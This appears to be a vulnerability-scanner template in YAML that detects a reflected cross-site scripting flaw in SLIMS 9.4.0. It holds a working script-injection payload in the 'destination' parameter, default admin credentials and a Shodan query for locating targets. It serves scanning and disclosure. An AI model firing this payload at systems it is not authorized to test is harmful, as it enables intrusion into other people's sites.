id: slims-xss

info:
  name: Senayan Library Management System v9.4.0(SLIMS 9) - Cross Site Scripting
  author: arafatansari
  severity: medium
  description: |
    SLIMS 9 was discovered to contain `destination` request parameter that copies the value of an HTML tag attribute which is encapsulated in double quotation marks.
  reference:
    - https://packetstormsecurity.com/files/170182/Senayan-Library-Management-System-9.4.0-Cross-Site-Scripting.html
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"SLIMS"
  tags: senayan,packetstorm,xss,slims

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?_csrf_token_645a83a41868941e4692aa31e7235f2=6a50886006f02202a6dac5cfa07bcbfb1e2a6e84&destination=zbuip%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ejgoihbmmygljgoihbmmygl&logMeIn=Login&memberID=admin&memberPassWord=password&p=member"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<script>alert(document.domain)</script>'
          - 'SLiMS'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

# digest: 4a0a00473045022067fa72aee5273ee28057be28dcdc5eb5e948ab16cd778c9293e4fca13a2c7777022100eb1ec1320e495b673c5977dc83c6d3d0b33ab32471e043bcf5c2e9ab2ee98c78:922c64590222798bb761d5b6d8e72950